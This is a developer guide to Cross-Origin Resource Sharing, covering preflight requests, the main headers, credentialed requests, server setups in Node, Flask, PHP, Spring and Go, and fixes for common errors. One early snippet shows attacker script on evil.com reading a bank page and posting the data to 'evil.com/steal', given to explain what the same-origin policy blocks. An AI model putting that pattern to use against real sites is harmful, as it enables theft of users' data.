Guide
Cross-Origin Resource Sharing (CORS)
Master Cross-Origin Resource Sharing (CORS) for secure cross-origin HTTP requests. Learn preflight requests, headers, credentials, and common error solutions.
TL;DR: CORS allows servers to specify which origins can access their resources via browser requests. Configure Access-Control-Allow-Origin and related headers to enable secure cross-domain communication.
Cross-Origin Resource Sharing (CORS) is a security mechanism that allows web browsers to make HTTP requests from one domain to another, while protecting users from malicious cross-origin attacks. Understanding CORS is essential for building modern web applications that interact with APIs and third-party services.
Introduction
By default, web browsers enforce the Same-Origin Policy (SOP), which prevents JavaScript running on one domain from accessing resources on another domain. While this protects users from malicious scripts, it also blocks legitimate cross-origin requests that modern web applications depend on.
CORS provides a controlled way to relax the Same-Origin Policy. It uses HTTP headers to tell browsers which cross-origin requests should be allowed, enabling web applications to safely access resources from different domains.
What is an origin?
An origin is defined by the combination of three components:
- Protocol (scheme):
httpvshttps - Domain (host):
example.comvsapi.example.com - Port:
80,443,3000, etc.
Same-origin examples:
https://example.com/page1
https://example.com/page2
✓ Same origin (identical protocol, domain, port)
Cross-origin examples:
https://example.com → http://example.com (different protocol)
https://example.com → https://api.example.com (different domain)
https://example.com → https://example.com:8080 (different port)
Why CORS Exists
Without CORS, a malicious website could execute JavaScript that reads data from your bank account, email, or other sensitive services where you’re authenticated. The Same-Origin Policy prevents this by blocking cross-origin requests by default.
Without SOP/CORS (dangerous):
// On evil.com, this would succeed and steal your data
fetch('https://yourbank.com/account')
.then((res) => res.json())
.then((data) => {
// Send your banking data to attacker
fetch('https://evil.com/steal', {
method: 'POST',
body: JSON.stringify(data)
})
})
```text
**With SOP/CORS (protected):**
The browser blocks the request to `yourbank.com` unless it explicitly allows `evil.com` via CORS headers. This protects your data from unauthorized access.
## How CORS Works
CORS is implemented through HTTP headers exchanged between the browser and server. The server uses response headers to tell the browser which origins, methods, and headers are allowed for cross-origin requests.
### The CORS Header Flow
1. Browser detects a cross-origin request
2. Browser adds an `Origin` header to the request
3. Server checks the origin and responds with CORS headers
4. Browser reads CORS headers and decides whether to allow access
**Basic CORS Exchange:**
```http
# Request from browser
GET /api/users HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
# Response from server
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Content-Type: application/json
{"users": [...]}
Simple Requests vs Preflight Requests
CORS categorizes requests into two types: simple requests and preflight requests. Understanding the difference is crucial for debugging and optimization.
Simple Requests
A request is considered “simple” if it meets all these conditions:
Allowed methods:
GETHEADPOST
Allowed headers (only these, with some exceptions):
AcceptAccept-LanguageContent-LanguageContent-Type(with limited values)
Allowed Content-Type values:
application/x-www-form-urlencodedmultipart/form-datatext/plain
Example simple request:
// No preflight - goes directly to server
fetch('https://api.example.com/data', {
method: 'GET',
headers: {
Accept: 'application/json'
}
})
```text
```http
# Request
GET /data HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Accept: application/json
# Response
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Content-Type: application/json
{"data": "..."}
Preflight Requests
If a request doesn’t meet the simple request criteria, the browser sends a preflight request first using the OPTIONS method to check if the actual request is safe to send.
Triggers for preflight:
- Using methods like
PUT,DELETE,PATCH - Custom headers (e.g.,
Authorization,X-Custom-Header) Content-Typeofapplication/json
Example preflight request:
// Triggers preflight due to Authorization header and JSON content type
fetch('https://api.example.com/users', {
method: 'POST',
headers: {
'Content-Type': 'application/json',
Authorization: 'Bearer token123'
},
body: JSON.stringify({ name: 'Alice' })
})
```http
**Preflight OPTIONS request:**
```http
OPTIONS /users HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Access-Control-Request-Method: POST
Access-Control-Request-Headers: content-type, authorization
Preflight response:
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400
```http
**Actual request (only sent if preflight succeeds):**
```http
POST /users HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Content-Type: application/json
Authorization: Bearer token123
{"name": "Alice"}
Actual response:
HTTP/1.1 201 Created
Access-Control-Allow-Origin: https://app.example.com
Content-Type: application/json
{"id": 123, "name": "Alice"}
```text
## Essential CORS Headers
### Access-Control-Allow-Origin
Specifies which origins can access the resource. This is the most critical CORS header.
**Specific origin:**
```http
Access-Control-Allow-Origin: https://app.example.com
Wildcard (allows any origin):
Access-Control-Allow-Origin: *
```javascript
**Important notes:**
- Cannot use wildcard (`*`) with credentialed requests
- Can only specify one origin value (not comma-separated)
- Must be dynamically set from a whitelist for multiple origins
**Multiple origins pattern:**
```javascript
// Server-side logic to allow multiple origins
const allowedOrigins = [
'https://app.example.com',
'https://admin.example.com',
'http://localhost:3000'
]
const origin = request.headers.origin
if (allowedOrigins.includes(origin)) {
response.setHeader('Access-Control-Allow-Origin', origin)
}
Access-Control-Allow-Methods
Lists HTTP methods allowed for cross-origin requests.
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, PATCH, OPTIONS
```text
**Common patterns:**
```http
# Read-only API
Access-Control-Allow-Methods: GET, HEAD, OPTIONS
# Full CRUD API
Access-Control-Allow-Methods: GET, POST, PUT, PATCH, DELETE, OPTIONS
# Specific operations only
Access-Control-Allow-Methods: GET, POST, OPTIONS
Access-Control-Allow-Headers
Lists headers that can be used in the actual request.
Access-Control-Allow-Headers: Content-Type, Authorization, X-Requested-With
```text
**Common configurations:**
```http
# API with authentication
Access-Control-Allow-Headers: Content-Type, Authorization
# API with custom headers
Access-Control-Allow-Headers: Content-Type, Authorization, X-API-Key, X-Request-ID
# Permissive (not recommended for production)
Access-Control-Allow-Headers: *
Access-Control-Allow-Credentials
Indicates whether the browser should include credentials (cookies, HTTP authentication, client-side SSL certificates) in cross-origin requests.
Access-Control-Allow-Credentials: true
```text
**Client-side usage:**
```javascript
// Must set credentials: 'include' on the fetch request
fetch('https://api.example.com/profile', {
credentials: 'include' // Send cookies with request
})
Server response:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
Set-Cookie: session=abc123; Secure; HttpOnly; SameSite=None
```text
**Critical requirement:**
When `Access-Control-Allow-Credentials: true` is used, you CANNOT use wildcard for `Access-Control-Allow-Origin`. You must specify the exact origin.
```http
# Invalid combination
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
# Valid combination
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
Access-Control-Max-Age
Indicates how long the results of a preflight request can be cached.
Access-Control-Max-Age: 86400
```http
**Common cache durations:**
```http
Access-Control-Max-Age: 600 # 10 minutes
Access-Control-Max-Age: 3600 # 1 hour
Access-Control-Max-Age: 86400 # 24 hours
Access-Control-Max-Age: 604800 # 7 days (maximum in some browsers)
Benefits:
- Reduces preflight requests for repeated operations
- Improves performance by avoiding unnecessary OPTIONS requests
- Cached per origin, method, and headers combination
Access-Control-Expose-Headers
Lists response headers that the browser should make accessible to JavaScript.
By default, browsers only expose these “CORS-safe” response headers:
Cache-ControlContent-LanguageContent-TypeExpiresLast-ModifiedPragma
Exposing custom headers:
Access-Control-Expose-Headers: X-RateLimit-Remaining, X-RateLimit-Limit, X-Request-ID
```javascript
**Client-side access:**
```javascript
fetch('https://api.example.com/data').then((response) => {
console.log(response.headers.get('X-RateLimit-Remaining')) // Works with exposure
console.log(response.headers.get('X-Custom-Header')) // null without exposure
})
Credentialed Requests
Credentialed requests include cookies, HTTP authentication, or client-side SSL certificates. These require special CORS configuration because they pose additional security risks.
Configuration Requirements
1. Client must explicitly request credentials:
fetch('https://api.example.com/profile', {
credentials: 'include' // or 'same-origin'
})
```text
**2. Server must allow credentials:**
```http
Access-Control-Allow-Credentials: true
3. Server must specify exact origin (no wildcard):
Access-Control-Allow-Origin: https://app.example.com
```text
### Cookie Considerations
For cookies to be sent cross-origin, they must have appropriate attributes:
```http
Set-Cookie: session=abc123; Secure; SameSite=None
Cookie attributes explained:
Secure: Required forSameSite=NoneSameSite=None: Allows cookie to be sent cross-siteHttpOnly: Prevents JavaScript access (recommended for security)
Complete credentialed request example:
// Client request
fetch('https://api.example.com/profile', {
method: 'GET',
credentials: 'include',
headers: {
'Content-Type': 'application/json'
}
})
```http
```http
# Preflight request
OPTIONS /profile HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Access-Control-Request-Method: GET
Access-Control-Request-Headers: content-type
# Preflight response
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE
Access-Control-Allow-Headers: Content-Type
Access-Control-Allow-Credentials: true
Access-Control-Max-Age: 86400
# Actual request (includes cookies)
GET /profile HTTP/1.1
Host: api.example.com
Origin: https://app.example.com
Cookie: session=abc123
Content-Type: application/json
# Actual response
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Credentials: true
Content-Type: application/json
{"user": {"id": 1, "name": "Alice"}}
Server Implementation Examples
Node.js (Express)
Basic CORS middleware:
const express = require('express')
const app = express()
// Simple CORS for all routes
app.use((req, res, next) => {
res.header('Access-Control-Allow-Origin', '*')
res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS')
res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization')
// Handle preflight
if (req.method === 'OPTIONS') {
return res.sendStatus(204)
}
next()
})
app.get('/api/users', (req, res) => {
res.json({ users: [] })
})
```javascript
**Advanced CORS with whitelist:**
```javascript
const express = require('express')
const app = express()
const allowedOrigins = [
'https://app.example.com',
'https://admin.example.com',
'http://localhost:3000'
]
app.use((req, res, next) => {
const origin = req.headers.origin
if (allowedOrigins.includes(origin)) {
res.header('Access-Control-Allow-Origin', origin)
}
res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, PATCH, OPTIONS')
res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization, X-Requested-With')
res.header('Access-Control-Allow-Credentials', 'true')
res.header('Access-Control-Max-Age', '86400')
if (req.method === 'OPTIONS') {
return res.sendStatus(204)
}
next()
})
Using the CORS package:
const express = require('express')
const cors = require('cors')
const app = express()
// Simple configuration
app.use(cors())
// Advanced configuration
app.use(
cors({
origin: ['https://app.example.com', 'https://admin.example.com'],
methods: ['GET', 'POST', 'PUT', 'DELETE'],
allowedHeaders: ['Content-Type', 'Authorization'],
credentials: true,
maxAge: 86400
})
)
// Dynamic origin validation
app.use(
cors({
origin: (origin, callback) => {
const allowedOrigins = ['https://app.example.com', 'http://localhost:3000']
if (!origin || allowedOrigins.includes(origin)) {
callback(null, true)
} else {
callback(new Error('Not allowed by CORS'))
}
},
credentials: true
})
)
```javascript
### Python (Flask)
**Basic CORS setup:**
```python
from flask import Flask, jsonify
from flask_cors import CORS
app = Flask(__name__)
# Simple CORS for all routes
CORS(app)
@app.route('/api/users')
def get_users():
return jsonify({'users': []})
Advanced CORS configuration:
from flask import Flask, jsonify
from flask_cors import CORS
app = Flask(__name__)
# Specific origins with credentials
CORS(app,
origins=['https://app.example.com', 'https://admin.example.com'],
methods=['GET', 'POST', 'PUT', 'DELETE'],
allow_headers=['Content-Type', 'Authorization'],
supports_credentials=True,
max_age=86400)
@app.route('/api/users')
def get_users():
return jsonify({'users': []})
```javascript
**Route-specific CORS:**
```python
from flask import Flask, jsonify
from flask_cors import cross_origin
app = Flask(__name__)
@app.route('/api/public')
@cross_origin() # Allow all origins
def public_endpoint():
return jsonify({'message': 'public'})
@app.route('/api/private')
@cross_origin(
origins=['https://app.example.com'],
methods=['GET', 'POST'],
allow_headers=['Authorization'],
supports_credentials=True
)
def private_endpoint():
return jsonify({'message': 'private'})
PHP
Basic CORS headers:
<?php
header('Access-Control-Allow-Origin: *');
header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type, Authorization');
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
http_response_code(204);
exit();
}
// Your API logic here
echo json_encode(['users' => []]);
?>
```text
**Advanced CORS with whitelist:**
```php
<?php
$allowedOrigins = [
'https://app.example.com',
'https://admin.example.com',
'http://localhost:3000'
];
$origin = $_SERVER['HTTP_ORIGIN'] ?? '';
if (in_array($origin, $allowedOrigins)) {
header("Access-Control-Allow-Origin: $origin");
}
header('Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS');
header('Access-Control-Allow-Headers: Content-Type, Authorization');
header('Access-Control-Allow-Credentials: true');
header('Access-Control-Max-Age: 86400');
if ($_SERVER['REQUEST_METHOD'] === 'OPTIONS') {
http_response_code(204);
exit();
}
// Your API logic here
?>
Java (Spring Boot)
Global CORS configuration:
import org.springframework.context.annotation.Configuration;
import org.springframework.web.servlet.config.annotation.CorsRegistry;
import org.springframework.web.servlet.config.annotation.WebMvcConfigurer;
@Configuration
public class CorsConfig implements WebMvcConfigurer {
@Override
public void addCorsMappings(CorsRegistry registry) {
registry.addMapping("/api/**")
.allowedOrigins("https://app.example.com", "https://admin.example.com")
.allowedMethods("GET", "POST", "PUT", "DELETE", "OPTIONS")
.allowedHeaders("Content-Type", "Authorization")
.allowCredentials(true)
.maxAge(86400);
}
}
```javascript
**Controller-level CORS:**
```java
import org.springframework.web.bind.annotation.*;
@RestController
@RequestMapping("/api")
@CrossOrigin(
origins = {"https://app.example.com"},
methods = {RequestMethod.GET, RequestMethod.POST},
allowedHeaders = {"Content-Type", "Authorization"},
allowCredentials = "true",
maxAge = 86400
)
public class UserController {
@GetMapping("/users")
public List<User> getUsers() {
return userService.findAll();
}
}
Go
Basic CORS middleware:
package main
import (
"net/http"
)
func corsMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
w.Header().Set("Access-Control-Allow-Origin", "*")
w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS")
w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization")
if r.Method == "OPTIONS" {
w.WriteHeader(http.StatusNoContent)
return
}
next.ServeHTTP(w, r)
})
}
func main() {
mux := http.NewServeMux()
mux.HandleFunc("/api/users", handleUsers)
http.ListenAndServe(":8080", corsMiddleware(mux))
}
```javascript
**Advanced CORS with whitelist:**
```go
package main
import (
"net/http"
)
var allowedOrigins = map[string]bool{
"https://app.example.com": true,
"https://admin.example.com": true,
"http://localhost:3000": true,
}
func corsMiddleware(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
origin := r.Header.Get("Origin")
if allowedOrigins[origin] {
w.Header().Set("Access-Control-Allow-Origin", origin)
w.Header().Set("Access-Control-Allow-Credentials", "true")
}
w.Header().Set("Access-Control-Allow-Methods", "GET, POST, PUT, DELETE, OPTIONS")
w.Header().Set("Access-Control-Allow-Headers", "Content-Type, Authorization")
w.Header().Set("Access-Control-Max-Age", "86400")
if r.Method == "OPTIONS" {
w.WriteHeader(http.StatusNoContent)
return
}
next.ServeHTTP(w, r)
})
}
Real-World Scenarios
Scenario 1: Public API
A weather API that should be accessible from any website.
Configuration:
// Allow all origins
res.header('Access-Control-Allow-Origin', '*')
res.header('Access-Control-Allow-Methods', 'GET, OPTIONS')
res.header('Access-Control-Allow-Headers', 'Content-Type')
```javascript
**Client usage:**
```javascript
fetch('https://api.weather.com/current?city=London')
.then((res) => res.json())
.then((data) => console.log(data))
Scenario 2: Authenticated API
A REST API that requires authentication and only allows specific frontends.
Server configuration:
const allowedOrigins = ['https://app.example.com', 'https://admin.example.com']
app.use((req, res, next) => {
const origin = req.headers.origin
if (allowedOrigins.includes(origin)) {
res.header('Access-Control-Allow-Origin', origin)
res.header('Access-Control-Allow-Credentials', 'true')
}
res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS')
res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization')
res.header('Access-Control-Max-Age', '86400')
if (req.method === 'OPTIONS') {
return res.sendStatus(204)
}
next()
})
```text
**Client usage:**
```javascript
fetch('https://api.example.com/profile', {
method: 'GET',
credentials: 'include',
headers: {
Authorization: 'Bearer token123'
}
})
Scenario 3: File Upload with Progress
Uploading files to a different domain with custom headers.
Server configuration:
res.header('Access-Control-Allow-Origin', 'https://app.example.com')
res.header('Access-Control-Allow-Methods', 'POST, OPTIONS')
res.header('Access-Control-Allow-Headers', 'Content-Type, X-File-Name, X-File-Size')
res.header('Access-Control-Expose-Headers', 'X-Upload-ID')
```javascript
**Client usage:**
```javascript
const file = document.querySelector('input[type="file"]').files[0]
fetch('https://upload.example.com/files', {
method: 'POST',
headers: {
'X-File-Name': file.name,
'X-File-Size': file.size.toString()
},
body: file
}).then((response) => {
const uploadId = response.headers.get('X-Upload-ID')
console.log('Upload ID:', uploadId)
return response.json()
})
Scenario 4: WebSocket Connection
Establishing a WebSocket connection across origins.
Server configuration:
const WebSocket = require('ws')
const wss = new WebSocket.Server({ port: 8080 })
wss.on('connection', (ws, req) => {
const origin = req.headers.origin
const allowedOrigins = ['https://app.example.com']
if (!allowedOrigins.includes(origin)) {
ws.close(1008, 'Origin not allowed')
return
}
ws.on('message', (message) => {
console.log('Received:', message)
})
})
```javascript
**Client usage:**
```javascript
// WebSocket connections don't use CORS headers
// but servers can check the Origin header
const ws = new WebSocket('wss://ws.example.com')
ws.onopen = () => {
console.log('Connected')
ws.send('Hello')
}
Troubleshooting Common CORS Errors
Error 1: “No ‘Access-Control-Allow-Origin’ header is present”
Error message:
Access to fetch at 'https://api.example.com/users' from origin 'https://app.example.com'
has been blocked by CORS policy: No 'Access-Control-Allow-Origin' header is present on
the requested resource.
Causes:
- Server doesn’t send CORS headers at all
- Server only sends headers for successful responses (not errors)
- Network error prevents response from reaching browser
Solutions:
// Server must send CORS headers for ALL responses, including errors
app.use((req, res, next) => {
res.header('Access-Control-Allow-Origin', '*')
next()
})
// Handle errors with CORS headers
app.use((err, req, res, next) => {
res.header('Access-Control-Allow-Origin', '*')
res.status(500).json({ error: err.message })
})
```text
### Error 2: "The 'Access-Control-Allow-Origin' header contains multiple values"
**Error message:**
```text
The 'Access-Control-Allow-Origin' header contains multiple values
'https://app.example.com, https://app.example.com', but only one is allowed.
```text
**Cause:**
Setting the header multiple times (e.g., in middleware and route handler).
**Solution:**
```javascript
// Bad: Setting header in multiple places
app.use((req, res, next) => {
res.header('Access-Control-Allow-Origin', 'https://app.example.com')
next()
})
app.get('/users', (req, res) => {
res.header('Access-Control-Allow-Origin', 'https://app.example.com') // Duplicate!
res.json({ users: [] })
})
// Good: Set header only once
app.use((req, res, next) => {
res.header('Access-Control-Allow-Origin', 'https://app.example.com')
next()
})
app.get('/users', (req, res) => {
res.json({ users: [] })
})
Error 3: “Wildcard ’*’ cannot be used with credentials”
Error message:
The value of the 'Access-Control-Allow-Origin' header in the response must not be
the wildcard '*' when the request's credentials mode is 'include'.
Cause:
Using Access-Control-Allow-Origin: * with credentialed requests.
Solution:
// Bad: Wildcard with credentials
res.header('Access-Control-Allow-Origin', '*')
res.header('Access-Control-Allow-Credentials', 'true')
// Good: Specific origin with credentials
const origin = req.headers.origin
const allowedOrigins = ['https://app.example.com', 'https://admin.example.com']
if (allowedOrigins.includes(origin)) {
res.header('Access-Control-Allow-Origin', origin)
res.header('Access-Control-Allow-Credentials', 'true')
}
```text
### Error 4: "Method not allowed by Access-Control-Allow-Methods"
**Error message:**
```text
Method DELETE is not allowed by Access-Control-Allow-Methods in preflight response.
```text
**Cause:**
Requested method not included in `Access-Control-Allow-Methods` header.
**Solution:**
```javascript
// Bad: Limited methods
res.header('Access-Control-Allow-Methods', 'GET, POST')
// Good: Include all needed methods
res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, PATCH, OPTIONS')
Error 5: “Header not allowed by Access-Control-Allow-Headers”
Error message:
Request header field authorization is not allowed by Access-Control-Allow-Headers
in preflight response.
Cause:
Custom header not included in Access-Control-Allow-Headers.
Solution:
// Bad: Missing required headers
res.header('Access-Control-Allow-Headers', 'Content-Type')
// Good: Include all custom headers
res.header('Access-Control-Allow-Headers', 'Content-Type, Authorization, X-API-Key')
// Or allow all headers (less secure)
res.header('Access-Control-Allow-Headers', '*')
```text
### Error 6: "Redirect not allowed for preflight request"
**Error message:**
```text
Response to preflight request doesn't pass access control check: Redirect is not
allowed for a preflight request.
```text
**Cause:**
Server redirecting OPTIONS request instead of responding directly.
**Solution:**
```javascript
// Handle OPTIONS before any redirects
app.use((req, res, next) => {
res.header('Access-Control-Allow-Origin', '*')
res.header('Access-Control-Allow-Methods', 'GET, POST, PUT, DELETE, OPTIONS')
res.header('Access-Control-Allow-Headers', 'Content-Type')
if (req.method === 'OPTIONS') {
return res.sendStatus(204) // Don't redirect, respond immediately
}
next()
})
// Other middleware (redirects, etc.)
Error 7: “Preflight response is not successful”
Error message:
Response for preflight has invalid HTTP status code 401
Cause: Authentication middleware running before CORS middleware for OPTIONS requests.
Solution:
// Bad: Auth before CORS
app.use(authMiddleware)
app.use(corsMiddleware)
// Good: CORS first, then skip auth for OPTIONS
app.use(corsMiddleware)
app.use((req, res, next) => {
if (req.method === 'OPTIONS') {
return next() // Skip auth for preflight
}
authMiddleware(req, res, next)
})
```text
## Debugging CORS Issues
### Browser Developer Tools
**Network tab:**
1. Open DevTools (F12)
2. Go to Network tab
3. Look for OPTIONS request (preflight)
4. Check response headers for CORS headers
5. Look for red errors in the Console tab
**Example debugging process:**
```text
1. Make request from https://app.example.com to https://api.example.com
2. Check if OPTIONS request appears (if preflight is triggered)
3. Verify OPTIONS response has status 204 or 200
4. Check for these headers in OPTIONS response:
- Access-Control-Allow-Origin
- Access-Control-Allow-Methods
- Access-Control-Allow-Headers
5. Check actual request has Access-Control-Allow-Origin header
```text
### Testing with curl
**Simple request:**
```bash
curl -H "Origin: https://app.example.com" \
-H "Accept: application/json" \
-I https://api.example.com/users
Preflight request:
curl -X OPTIONS \
-H "Origin: https://app.example.com" \
-H "Access-Control-Request-Method: POST" \
-H "Access-Control-Request-Headers: Content-Type, Authorization" \
-I https://api.example.com/users
```text
**Expected preflight response:**
```http
HTTP/1.1 204 No Content
Access-Control-Allow-Origin: https://app.example.com
Access-Control-Allow-Methods: GET, POST, PUT, DELETE, OPTIONS
Access-Control-Allow-Headers: Content-Type, Authorization
Access-Control-Max-Age: 86400
```javascript
### Common Debugging Checklist
- [ ] Server sends CORS headers for ALL responses (including errors)
- [ ] `Access-Control-Allow-Origin` matches request origin exactly
- [ ] OPTIONS requests return 200 or 204 status
- [ ] All required methods in `Access-Control-Allow-Methods`
- [ ] All custom headers in `Access-Control-Allow-Headers`
- [ ] Credentials configuration matches on client and server
- [ ] No wildcard (`*`) with credentialed requests
- [ ] CORS headers not duplicated
- [ ] CORS middleware runs before authentication
- [ ] Preflight cache duration appropriate (`Access-Control-Max-Age`)
## Security Best Practices
### 1. Never Trust the Origin Header Blindly
```javascript
// Bad: Reflecting origin without validation
res.header('Access-Control-Allow-Origin', req.headers.origin)
// Good: Validate against whitelist
const allowedOrigins = ['https://app.example.com', 'https://admin.example.com']
const origin = req.headers.origin
if (allowedOrigins.includes(origin)) {
res.header('Access-Control-Allow-Origin', origin)
}
2. Use Specific Origins in Production
// Development: Permissive
if (process.env.NODE_ENV === 'development') {
res.header('Access-Control-Allow-Origin', '*')
}
// Production: Strict
else {
const origin = req.headers.origin
const allowedOrigins = ['https://app.example.com']
if (allowedOrigins.includes(origin)) {
res.header('Access-Control-Allow-Origin', origin)
}
}
```text
### 3. Limit Exposed Headers
```javascript
// Bad: Exposing sensitive headers
res.header('Access-Control-Expose-Headers', '*')
// Good: Only expose necessary headers
res.header('Access-Control-Expose-Headers', 'X-RateLimit-Remaining, X-Request-ID')
4. Set Appropriate Preflight Cache Duration
// Development: Short cache for faster iteration
res.header('Access-Control-Max-Age', '600') // 10 minutes
// Production: Longer cache for performance
res.header('Access-Control-Max-Age', '86400') // 24 hours
```javascript
### 5. Protect Sensitive Endpoints
```javascript
// Public endpoint: Allow all origins
app.get('/api/public', (req, res) => {
res.header('Access-Control-Allow-Origin', '*')
res.json({ data: 'public' })
})
// Private endpoint: Strict origin validation
app.get('/api/private', (req, res) => {
const origin = req.headers.origin
if (origin === 'https://app.example.com') {
res.header('Access-Control-Allow-Origin', origin)
res.header('Access-Control-Allow-Credentials', 'true')
res.json({ data: 'private' })
} else {
res.status(403).json({ error: 'Forbidden' })
}
})
6. Validate Credentials Configuration
// Ensure cookies have correct attributes for cross-origin
res.cookie('session', 'abc123', {
secure: true, // HTTPS only
httpOnly: true, // Prevent JavaScript access
sameSite: 'none', // Allow cross-origin
maxAge: 3600000 // 1 hour
})
res.header('Access-Control-Allow-Origin', 'https://app.example.com')
res.header('Access-Control-Allow-Credentials', 'true')
```text
## Performance Optimization
### Reduce Preflight Requests
**1. Use simple requests when possible:**
```javascript
// Triggers preflight
fetch('/api/users', {
method: 'POST',
headers: { 'Content-Type': 'application/json' },
body: JSON.stringify({ name: 'Alice' })
})
// No preflight (simple request)
fetch('/api/users', {
method: 'POST',
headers: { 'Content-Type': 'application/x-www-form-urlencoded' },
body: 'name=Alice'
})
2. Maximize preflight cache:
// Cache preflight for 24 hours
res.header('Access-Control-Max-Age', '86400')
```text
**3. Avoid custom headers when possible:**
```javascript
// Triggers preflight due to Authorization header
fetch('/api/users', {
headers: { Authorization: 'Bearer token' }
})
// Alternative: Use cookie authentication (no preflight for GET)
fetch('/api/users', {
credentials: 'include'
})
Minimize Header Overhead
// Only include necessary headers
res.header('Access-Control-Allow-Origin', origin)
res.header('Access-Control-Allow-Credentials', 'true')
// Don't include headers for non-CORS responses
if (req.headers.origin) {
res.header('Access-Control-Allow-Origin', origin)
}
Related Resources
- Headers:
Access-Control-Allow-Origin,Access-Control-Allow-Methods,Access-Control-Allow-Headers,Access-Control-Allow-Credentials - Security: Content Security Policy, Cookie Security
- Methods: OPTIONS, GET, POST
- Concepts: Request Lifecycle, Headers and Caching
Summary
CORS is a critical security mechanism that enables controlled cross-origin communication. Key takeaways:
- Same-Origin Policy protects users by blocking cross-origin requests by default
- CORS headers allow servers to selectively permit cross-origin access
- Preflight requests (OPTIONS) check permissions before sending actual requests
- Credentialed requests require explicit configuration and exact origin matching
- Security comes first - always validate origins and use specific values in production
- Debugging CORS issues requires understanding the browser console and network tab
- Performance can be optimized by caching preflights and minimizing custom headers
Understanding CORS is essential for modern web development. With proper configuration, you can build secure, performant applications that safely communicate across origins.
Frequently Asked Questions
What is CORS?
CORS (Cross-Origin Resource Sharing) is a security mechanism that allows servers to specify which origins can access their resources via browser requests.
Why do I get CORS errors?
CORS errors occur when a browser blocks cross-origin requests because the server did not include proper CORS headers. The server must explicitly allow your origin.
What is a preflight request?
Preflight is an OPTIONS request browsers send before certain cross-origin requests to check if the actual request is allowed. It checks methods, headers, and credentials.
How do I fix CORS errors?
Configure your server to send Access-Control-Allow-Origin with your origin or *. For credentials, use specific origin. For custom headers, add Access-Control-Allow-Headers.